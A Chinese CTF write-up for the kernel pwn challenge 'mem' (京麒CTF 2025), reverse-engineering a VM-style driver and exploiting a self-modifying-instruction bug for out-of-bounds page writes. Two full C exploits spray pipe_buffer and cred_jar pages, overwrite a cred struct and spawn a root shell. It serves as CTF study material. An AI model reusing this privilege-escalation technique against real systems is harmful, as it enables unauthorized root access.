[京麒CTF 2025] mem writeup

本文总阅读量

第一个在赛时做出来的Kernel Pwn,太不容易了

防护检查

杂项检查

./run.sh脚本中启用了smap,smep,kaslr防护,此外没什么特殊的
文件系统经检验没有权限漏洞
给了Kconfig,内核版本为Linux v6.6.91,较高版本,赛时没有详细检查Kconfig中的条目

Kconfig检查

Kconfig中的CONFIG_USER_NS没有打开,意味着我们无法开辟自己的命名空间,也就无法使用pgv堆喷

slab相关的防护:

1
2
3
4
5
6
7
8
9
10
11
12
13
#
# SLAB allocator options
#
# CONFIG_SLAB_DEPRECATED is not set
CONFIG_SLUB=y
# CONFIG_SLUB_TINY is not set
CONFIG_SLAB_MERGE_DEFAULT=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
# CONFIG_SLUB_STATS is not set
CONFIG_SLUB_CPU_PARTIAL=y
CONFIG_RANDOM_KMALLOC_CACHES=y
# end of SLAB allocator options

注意CONFIG_RANDOM_KMALLOC_CACHES=y这个选项,之后会体现其作用

在slab分配器的防护基本都打开了,意味着我们很难进行利用slab

逆向分析

IDA反编译发现程序很复杂,尤其是memem_ioctl函数,第一眼还以为被ollvm混淆了

初始化函数创建了一个名为/dev/mememe的设备,并提供了open, read, writeioctl等功能

先分析mememe_open函数,发现程序调用了两个kmalloc,一个alloc_page
前两个kmalloc貌似被随机化了,无法静态分析其使用的是哪一个slab,后一个alloc_page申请的是order-0的page,并转成虚拟地址赋值给了一个地址偏移量。

事实上,这种缓解策略叫Random kmalloc caches,是前文CONFIG_RANDOM_KMALLOC_CACHES=y选项提供的
它的作用大概是为每个大小引入了多个通用 slab 缓存,在调用时通过返回地址(ret_addr)和随机数(random_kmalloc_seed)伪随机选择其中一个使用
效果如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/ # cat /proc/slabinfo
slabinfo - version: 2.1
...
kmalloc-rnd-15-8k 0 0 8192 4 8 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-rnd-15-4k 8 8 4096 8 8 : tunables 0 0 0 : slabdata 1 1 0
kmalloc-rnd-15-2k 32 32 2048 8 4 : tunables 0 0 0 : slabdata 4 4 0
kmalloc-rnd-15-1k 32 32 1024 8 2 : tunables 0 0 0 : slabdata 4 4 0
kmalloc-rnd-15-512 48 48 512 8 1 : tunables 0 0 0 : slabdata 6 6 0
kmalloc-rnd-15-256 80 80 256 16 1 : tunables 0 0 0 : slabdata 5 5 0
kmalloc-rnd-15-192 42 42 192 21 1 : tunables 0 0 0 : slabdata 2 2 0
kmalloc-rnd-15-128 64 64 128 32 1 : tunables 0 0 0 : slabdata 2 2 0
kmalloc-rnd-15-96 42 42 96 42 1 : tunables 0 0 0 : slabdata 1 1 0
kmalloc-rnd-15-64 128 128 64 64 1 : tunables 0 0 0 : slabdata 2 2 0
kmalloc-rnd-15-32 128 128 32 128 1 : tunables 0 0 0 : slabdata 1 1 0
kmalloc-rnd-15-16 512 512 16 256 1 : tunables 0 0 0 : slabdata 2 2 0
kmalloc-rnd-15-8 1024 1024 8 512 1 : tunables 0 0 0 : slabdata 2 2 0
kmalloc-rnd-14-8k 4 4 8192 4 8 : tunables 0 0 0 : slabdata 1 1 0
kmalloc-rnd-14-4k 8 8 4096 8 8 : tunables 0 0 0 : slabdata 1 1 0
kmalloc-rnd-14-2k 16 16 2048 8 4 : tunables 0 0 0 : slabdata 2 2 0
...

该缓解方法还是由华为工程师提出来的华为为我增智慧了 :)

仔细分析发现程序中貌似有个结构体,memset函数之后有很多地址赋值语句,不同的偏移地址赋值代表着不同的字段,不过目前还不清楚它们大部分的功能。

字段名称是之后补充的

核心部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
...
mememe = (vmmem *)v2;
*(_QWORD *)(v2 + 8) = 4096LL;
v5 = alloc_pages(0x500CC2LL, 0LL);
if ( v5 )
{
v6 = v5;
mememe->page = (void *)(page_offset_base + ((v5 - vmemmap_base) << 6));
v7 = kmalloc_trace(
kmalloc_caches[14 * ((0x61C8864680B583EBLL * (random_kmalloc_seed ^ retaddr)) >> 60) + 3],
3264LL,
4LL);
mememe->kmap = (__int32 *)v7;
if ( v7 )
{
v3 = 0;
memset(mememe->page, 0, mememe->pagesize);
*mememe->kmap = 0;
mememe->length = 0LL;
mememe->var3 = 0LL;
mememe->rsp = -1;
_mutex_init(&mememe->mutex, "&priv->lock", &mememe_open___key);
*(_QWORD *)(a2 + 200) = mememe;
return v3;
}
_free_pages(v6, 0LL);
...

mememe_readmememe_write内容较少且个防护很严格的,简单审计mememe_release函数发现没有UAF,直接分析mememe_ioctl函数

IDA并没有很好地处理这里的逻辑,静态分析很难受

分析发现该函数大概以中间的memset函数分为两小部分,且后半部分一直在用ifswitch检验某个固定的变量的值,猜想是虚拟机指令处理部分,对不同的id执行不同的函数

结合之前的结构体以及程序逻辑,逆向还原虚拟机结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct vmmem // sizeof=0xB8
{
char *page;
__int64 pagesize;
__int64 length;
__int32 *kmap;
__int64 var3;
__int32 stack[32];
__int32 rsp;
// padding byte
// padding byte
// padding byte
// padding byte
__int64 mutex;
};

其中page字段是alloc_page得到的order-0 page,里边存放的是将要分析的虚拟机指令,kmap字段为kmalloc得到的空间,存放栈顶元素,stack字段是虚拟机栈,rsp字段指向栈顶。

虚拟机指令结构体,各种指令操作如下所示:

立即数直接用uint32_t会导致padding到8字节,或许需要显式align一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
struct insn { // sizeof=0x6
uint8_t idx;
uint8_t next;
uint16_t imm1;
uint16_t imm2;
};

// rsp > 0 || rsp < 30

/* insn:
* 00_00_0000_0000
* id_nx_imm
* eg:
* 11_00_FFFF_FFFF
* size: 0x6
* curr_insn: idx
*
* id:
* 0:
* nop
* 4:
* stack[rsp - 1] = stack[rsp - 1] + stack[rsp]
* rsp--
* 5:
* stack[rsp - 1] = stack[rsp - 1] - stack[rsp]
* rsp--
* 6:
* stack[rsp - 1] = stack[rsp - 1] * stack[rsp]
* rsp--
* 7:
* if stack[rsp] == 0 {
* stack[rsp] = 0
* rsp will not change
* } else {
* stack[rsp - 1] = stack[rsp - 1] / stack[rsp]
* rsp--
* }
* 8:
* stack[rsp - 1] = stack[rsp - 1] ^ stack[rsp]
* rsp--
* 10:
* stack[rsp + 1] = imm
* rsp++
* 11:
* stack[rsp + 1] = page[imm]
* rsp++
* 12:
* page[imm] = stack[rsp] // ??? AAW
* rsp--
* 13:
* stack[rsp + 1] = stack[rsp]
* rsp++
* 14:
* xchg stack[rsp], stack[rsp-1]
* 15:
* rsp--
* 16:
* stack[rsp - 1] = stack[rsp - 1] << stack[rsp]
* rsp--
* 17:
* stack[rsp - 1] = stack[rsp - 1] >> stack[rsp]
* rsp--
* 18:
* stack[rsp - 1] = stack[rsp - 1] & stack[rsp]
* rsp--
* 19:
* stack[rsp - 1] = stack[rsp - 1] | stack[rsp]
* rsp--
* 20:
* stack[rsp - 1] = stack[rsp - 1] == stack[rsp]
* rsp--
* 21:
* stack[rsp - 1] = stack[rsp - 1] != stack[rsp]
* rsp--
* 22:
* stack[rsp - 1] = stack[rsp - 1] < stack[rsp]
* rsp--
* 23:
* stack[rsp - 1] = stack[rsp - 1] > stack[rsp]
* rsp--
*
*
* NEXT:
*
* v14 = (idx + 2) + page[v14] + 1
* idx = (idx + 2) + page[v14]
*
* STOP:
* kmap = stack[rsp]
*/

其中memset函数之前的部分是检查部分,对部分指令进行了约束,防止访问越界

分析结束很容易发现有一个漏洞,由于指令都存在字段page里,我们可以利用id 12指令进行运行时修改page内原来的指令,造成page越界读和越界写原语

这个任意读/任意写的大小是DWORD(4字节),不过可以以任意偏移无限触发,还是很强大的

漏洞利用

利用思路

有了page层面的越界读写之后就好办了,我们可以通过堆喷和页级堆风水,造成该页面与cred_jar页面物理相邻的局面,在直接映射区的虚拟地址也相邻,从而利用越界写改写cred_jar直接一步提权

甚至不需要利用mememe_read功能,因为该方法无需任何地址泄漏

赛时策略

事实上,在构造order-0的页级堆风水应该堆喷order-1的pages,但是赛时我嫌麻烦没有去尝试pgv堆喷,而是直接堆喷pipe_buffer来获得大量的order-0 pages,这种情况下时间先后获得的两个页面大概率也物理相邻,成功率还是很高的

赛后验证发现CONFIG_USER_NS没有打开,无法用pgv

之后的操作就是先free id为奇数的pipe_buffer造成page hole,再打开该设备/dev/mememe,此时mememe_open函数中的alloc_page很大概率会取到之前free的pipe_buffer的page hole

下一步,我的策略是把剩下的pipe_buffer全部free掉,然后再用setuid(1000)堆喷cred_jar取走刚刚free的pipe_buffer的page,此时的cred_jar大概率会申请到mememe->page的相邻地址处(假设之前的步骤都成功)

最后在大量fork提权函数,并利用越界写覆写cred_jar提权。虽然假设了不少因素,本地成功率还是很高的

远程成功率偏低了一点,大概5,6次才成功,但是本地试了十几次只有一次没有成功

:)

改进策略

由于无法使用pgv堆喷,因此将现有的pipe_buffer堆喷改进了一下

赛时策略的做法只能是可堪一用,好多细节都没有把握好。二次free后的pipe_buffer造成的page hole过大,而我们的利用需要物理相邻的页面被cred_jar占用,只有一个页满足该条件,喷中的概率小了很多

因此,我们可以将没有喷中pipe_buffer的page再次填充,在第二轮free之前不存在多余的page hole

做标记的目的是方便调试寻找/判断是否命中

1
2
3
4
5
6
7
8
9
10
11
...
for (int i = 0; i < PIPE_NUMS; i += 2) {
check(pipe(pipe_fds[i]));
memset(pipe_buf, (char)i, 0x1000);
memcpy(pipe_buf, "hamoood", 0x8);
pipe_buf[0xa] = 'p';
pipe_buf[0xb] = 'e';
check(write(pipe_fds[i][1], pipe_buf, 0x1000));
}
info("fill page hole with new pipe_buffer\n");
...

虽然mememe_read理论上不需要用,但是我们可以用page越界读获取被溢出的victim page的信息,从而靶向free特定的pipe_buffer,只在物理相邻的页中留下free page,提高成功率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
...
struct insn overread[] = {
{.idx = 10, .next = 4, .imm1 = 0x1008, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 14, .imm2 = 0x0},
{.idx = 11, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
};
info("prepare to overread\n");
char *dev_recv = malloc(0x1000);

check(write(fd, overread, sizeof(overread)));
check(ioctl(fd, 0x7601));
check(read(fd, dev_recv, 0x4));
dump_hex(dev_recv, 0x10);

uint8_t victim = 0;

if (dev_recv[2] == 'p' && dev_recv[3] == 'e') {
victim = (uint8_t)dev_recv[0];
success("find victim pipe: No.%hhu!\n", victim);
goto FOUND;
}
err_exit("victim not found");

FOUND:
...

此时仅free了物理相邻的(即可被越界写)的page,之后再次堆喷cred_jar然后fork提权函数,有很大概率会取走该页面,理论上成功率会高得多

本地测试成功率都差不多很高,不知道远程怎么样

:)

Exp

赛时Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
#define _GNU_SOURCE
// #include "./bpf_insn.h"
#include "./klog.h"
// #include "./kpwn.h"
#include <arpa/inet.h>
#include <fcntl.h>
// #include <keyutils.h>
// #include <linux/if_packet.h>
// #include <linux/userfaultfd.h>
#include <net/if.h> // 添加 if_nametoindex 函数的头文件
#include <poll.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <threads.h>
#include <unistd.h>

#define TTY_MAGIC 0x200005401

#define KERNCALL __attribute__((regparm(3)))

#define SUCCESS GREEN "SUCCESS" END

void shell_noerr() {
if (!getuid()) {
success("[=============================================]\n");
success("[===================" SUCCESS "===================]\n");
success("[=============================================]\n");
system("/bin/sh");
}
}

void bind_cpu(int core) {
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

uint64_t page_size;
void __attribute__((constructor)) init() {
bind_cpu(0);
page_size = sysconf(_SC_PAGESIZE);
info("page size: %#lx\n", page_size);
}

const char *device = "/dev/mememe";

// rsp > 0 || rsp < 30

/* id
* imm = id + 2
* 14:
* xchg stack[rsp], stack[rsp-1]
* 15:
* rsp--
* 16:
* stack[rsp - 1] = stack[rsp - 1] << stack[rsp]
* rsp--
* 17:
* stack[rsp - 1] = stack[rsp - 1] >> stack[rsp]
* rsp--
* 18:
* stack[rsp - 1] = stack[rsp - 1] & stack[rsp]
* rsp--
* 0x13:
* stack[rsp - 1] = stack[rsp - 1] | stack[rsp]
* rsp--
* 0x14:
* stack[rsp - 1] = stack[rsp - 1] == stack[rsp]
* rsp--
* 0x15:
* stack[rsp - 1] = stack[rsp - 1] != stack[rsp]
* rsp--
* 0x16:
* stack[rsp - 1] = stack[rsp - 1] < stack[rsp]
* rsp--
* 0x17:
* stack[rsp - 1] = stack[rsp - 1] > stack[rsp]
* rsp--
* 13:
* stack[rsp + 1] = stack[rsp]
* rsp++
* 12:
* page[imm] = stack[rsp] // ??? AAW
* rsp--
* 11:
* stack[rsp + 1] = page[imm]
* rsp++
* 10:
* stack[rsp + 1] = imm
* rsp++
* 8:
* stack[rsp - 1] = stack[rsp - 1] ^ stack[rsp]
* rsp--
* 0:
* nop
* 4:
* stack[rsp - 1] = stack[rsp - 1] + stack[rsp]
* rsp--
* 5:
* stack[rsp - 1] = stack[rsp - 1] - stack[rsp]
* rsp--
* 6:
* stack[rsp - 1] = stack[rsp - 1] * stack[rsp]
* rsp--
* 7:
* stack[rsp - 1] = stack[rsp - 1] / stack[rsp]
* rsp--
*
* stack[rsp] = 0
* rsp <==>
*
*
* NEXT:
*
* v14 = (idx + 2) + page[v14] + 1
* idx = (idx + 2) + page[v14]
*
* kmap = stack[rsp]
*
* 00_00_0000_0000
* id_nx_imm
* eg:
* 11_00_FFFF_FFFF
* size: 0x6
*/

struct insn {
uint8_t idx;
uint8_t next;
uint16_t imm1;
uint16_t imm2;
};

// NOTE: Linux Kernel exploit template
int main() {
// save_stat();
// INFO: Step 0x01: spray pipe
step("spray pipe");
#define PIPE_NUMS 0x100

int pipe_fds[PIPE_NUMS][2];
char pipe_buf[0x1000];
char pipe_recv[0x1000];

for (int i = 0; i < PIPE_NUMS; ++i) {
check(pipe(pipe_fds[i]));
memcpy(pipe_buf, "find__me", 0x8);
check(write(pipe_fds[i][1], pipe_buf, 0x1000));
}
success("spray pipe successfully\n");

for (int i = 0; i < PIPE_NUMS; i += 2) {
close(pipe_fds[i][0]);
close(pipe_fds[i][1]);
}

// INFO: Step 0x02: open device
step("open device");

int fd = check(open(device, 2));

success("device open successfully\n");

struct insn insns[] = {
{.idx = 10, .next = 4, .imm1 = 0x1008, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 20, .imm2 = 0x0},
{.idx = 10, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 0x28, .imm2 = 0x0},

{.idx = 10, .next = 4, .imm1 = 0x100c, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 44, .imm2 = 0x0},
{.idx = 10, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 0x28, .imm2 = 0x0},

{.idx = 10, .next = 4, .imm1 = 0x1010, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 68, .imm2 = 0x0},
{.idx = 10, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 0x28, .imm2 = 0x0},

{.idx = 10, .next = 4, .imm1 = 0x1014, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 92, .imm2 = 0x0},
{.idx = 10, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 0x28, .imm2 = 0x0},

{.idx = 10, .next = 4, .imm1 = 0x1018, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 116, .imm2 = 0x0},
{.idx = 10, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 0x28, .imm2 = 0x0},

{.idx = 10, .next = 4, .imm1 = 0x101c, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 140, .imm2 = 0x0},
{.idx = 10, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 0x28, .imm2 = 0x0},

{.idx = 10, .next = 4, .imm1 = 0x1020, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 164, .imm2 = 0x0},
{.idx = 10, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 0x28, .imm2 = 0x0},

{.idx = 10, .next = 4, .imm1 = 0x1024, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 188, .imm2 = 0x0},
{.idx = 10, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 0x28, .imm2 = 0x0},

};

// INFO: Step 0x03: open device
step("close pipe");
for (int i = 1; i < PIPE_NUMS; i += 2) {
close(pipe_fds[i][0]);
close(pipe_fds[i][1]);
}

// INFO: Step 0x04: fork
step("fork");

for (int i = 0; i < 0x30; ++i) {
setuid(1000);
}

for (int i = 0; i < 0x200; ++i) {
if (!fork()) {
while (1) {
shell_noerr();
sleep(0x1);
}
exit(0);
}
}
info("fork\n");

write(fd, insns, sizeof(insns));
check(ioctl(fd, 0x7601));

for (;;) {
sleep(0x100);
}
return 0;
}

改进Exp

仅给出main函数部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
// NOTE: Linux Kernel exploit template
int main() {
// INFO: Step 0x01: spray pipe_buffer
step("spray pipe_buffer");
#define PIPE_NUMS 0x100

int pipe_fds[PIPE_NUMS][2];
char pipe_buf[0x1000];
char pipe_recv[0x1000];

for (int i = 0; i < PIPE_NUMS; ++i) {
check(pipe(pipe_fds[i]));
memset(pipe_buf, (char)i, 0x1000);
memcpy(pipe_buf, "find__me", 0x8);
pipe_buf[0xa] = 'p';
pipe_buf[0xb] = 'e';
check(write(pipe_fds[i][1], pipe_buf, 0x1000));
}
success("spray pipe_buffer successfully\n");

for (int i = 0; i < PIPE_NUMS; i += 2) {
close(pipe_fds[i][0]);
close(pipe_fds[i][1]);
}

// INFO: Step 0x02: open device
step("open device");

int fd = check(open(device, 2));

success("device open successfully\n");

// INFO: Step 0x03: fill pipe and close victim
step("fill hole and close victim");

for (int i = 0; i < PIPE_NUMS; i += 2) {
check(pipe(pipe_fds[i]));
memset(pipe_buf, (char)i, 0x1000);
memcpy(pipe_buf, "hamoood", 0x8);
pipe_buf[0xa] = 'p';
pipe_buf[0xb] = 'e';
check(write(pipe_fds[i][1], pipe_buf, 0x1000));
}
info("fill page hole with new pipe_buffer\n");

struct insn overread[] = {
{.idx = 10, .next = 4, .imm1 = 0x1008, .imm2 = 0x0},
{.idx = 12, .next = 4, .imm1 = 14, .imm2 = 0x0},
{.idx = 11, .next = 4, .imm1 = 0x0, .imm2 = 0x0},
};
info("prepare to overread\n");
char *dev_recv = malloc(0x1000);

check(write(fd, overread, sizeof(overread)));
check(ioctl(fd, 0x7601));
check(read(fd, dev_recv, 0x4));
dump_hex(dev_recv, 0x10);

uint8_t victim = 0;

if (dev_recv[2] == 'p' && dev_recv[3] == 'e') {
victim = (uint8_t)dev_recv[0];
success("find victim pipe: No.%hhu!\n", victim);
goto FOUND;
}
err_exit("victim not found");

FOUND:
// INFO: Step 0x04: fork and root
step("fork and root");

check(close(pipe_fds[victim][0]));
check(close(pipe_fds[victim][1]));
info("close victim pipe\n");

for (int i = 0; i < 0x30; ++i) {
setuid(1000);
}
info("spray cred_jar\n");

for (int i = 0; i < 0x200; ++i) {
if (!fork()) {
while (1) {
shell_noerr();
sleep(0x1);
}
exit(0);
}
}
info("fork to root\n");

struct insn insns[32];

size_t idx = 0;
for (int i = 0; i < 0x8; ++i) {
insns[idx++] = (struct insn){
.idx = 10, .next = 4, .imm1 = 0x1008 + 0x4 * i, .imm2 = 0x0};
insns[idx++] =
(struct insn){.idx = 12, .next = 4, .imm1 = 20 + 24 * i, .imm2 = 0x0};
insns[idx++] =
(struct insn){.idx = 10, .next = 4, .imm1 = 0x0, .imm2 = 0x0};
insns[idx++] =
(struct insn){.idx = 12, .next = 4, .imm1 = 0x0, .imm2 = 0x0};
}

check(write(fd, insns, sizeof(insns)));
check(ioctl(fd, 0x7601));
info("overwrite to trigger root...\n");

for (;;) {
sleep(0x100);
}
/*
*/
return 0;
}